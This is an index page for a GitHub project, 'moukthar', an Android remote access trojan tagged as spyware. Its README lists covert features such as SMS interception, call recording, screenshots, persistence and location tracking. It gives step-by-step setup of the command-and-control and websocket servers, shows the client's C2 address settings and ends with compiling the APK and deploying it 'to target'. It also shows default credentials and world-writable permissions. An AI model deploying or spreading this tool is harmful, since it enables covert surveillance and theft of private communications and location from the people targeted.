Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/tomiwa-ot/moukthar
Android remote administration tool
https://github.com/tomiwa-ot/moukthar
android android-rat c2 c2-server collaborate command-and-control dynamic-routing java php php-framework rat remoteadministrationtool spyware web-socket-server web-sockets
Last synced: about 11 hours ago
JSON representation
Android remote administration tool
- Host: GitHub
- URL: https://github.com/tomiwa-ot/moukthar
- Owner: Tomiwa-Ot
- License: gpl-3.0
- Created: 2021-07-27T10:15:37.000Z (over 3 years ago)
- Default Branch: main
- Last Pushed: 2024-03-26T13:04:52.000Z (8 months ago)
- Last Synced: 2024-03-26T21:29:02.679Z (8 months ago)
- Topics: android, android-rat, c2, c2-server, collaborate, command-and-control, dynamic-routing, java, php, php-framework, rat, remoteadministrationtool, spyware, web-socket-server, web-sockets
- Language: PHP
- Homepage:
- Size: 6.88 MB
- Stars: 242
- Watchers: 8
- Forks: 67
- Open Issues: 3
-
Metadata Files:
- Readme: README.md
- Funding: .github/FUNDING.yml
- License: LICENSE.txt
Awesome Lists containing this project
README
## Moukthar
Remote adminitration tool for android### Features
- Notifications listener
- SMS listener
- Phone call recording
- Image capturing and screenshots
- Persistence
- Read & write contacts
- List installed applications
- Download & upload files
- Get device location### Installation
- Clone repository
```console
git clone https://github.com/Tomiwa-Ot/moukthar.git
```
- Install php, composer, mysql, php-mysql driver, apache2 and a2enmod
- Move server files to ```/var/www/html/``` and install dependencies
```console
mv moukthar/Server/* /var/www/html/
cd /var/www/html/c2-server
composer install
cd /var/www/html/web-socket/
composer install
cd /var/www
chown -R www-data:www-data .
chmod -R 777 .
```
The default credentials are username: ```android``` and password: ```the rastafarian in you```
- Create new sql user
```mysql
CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password';
GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost';
FLUSH PRIVILEGES;
```
- Set database credentials in ```c2-server/.env``` and ```web-socket/.env```
- Execute ```database.sql```
- Start web socket server or deploy as service in linux
```console
php Server/web-socket/App.php
# OR
sudo mv Server/websocket.service /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable websocket.service
sudo systemctl start websocket.service
```
- Modify ```/etc/apache2/sites-available/000-default.conf```
```console
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/c2-server
DirectoryIndex app.php
Options -IndexesErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
```
- Modify ```/etc/apache2/apache2.conf```
```xml
Comment this section
#
# Options FollowSymLinks
# AllowOverride None
# Require all denied
#Add this
Options -Indexes
DirectoryIndex app.php
AllowOverride All
Require all granted
```
- Increase php file upload max size ```/etc/php/*.*/apache2/php.ini```
```ini
; Increase size to permit large file uploads from client
upload_max_filesize = 128M
; Set post_max_size to upload_max_filesize + 1
post_max_size = 129M
```
- Set web socket server address in tag in ```c2-server/src/View/home.php``` and ```c2-server/src/View/features/files.php```
```console
const ws = new WebSocket('ws://IP_ADDRESS:8080');
```
- Restart apache using the command below
```console
sudo a2enmod rewrite && sudo service apache2 restart
```
- Set C2 server and web socket server address in client ```functionality/Utils.java```
```java
public static final String C2_SERVER = "http://localhost";public static final String WEB_SOCKET_SERVER = "ws://localhost:8080";
```
- Compile APK using Android Studio and deploy to target### Screenshots
![Dashboard](screenshots/c2.png)### TODO
- Auto scroll logs on dashboard
- Screenshot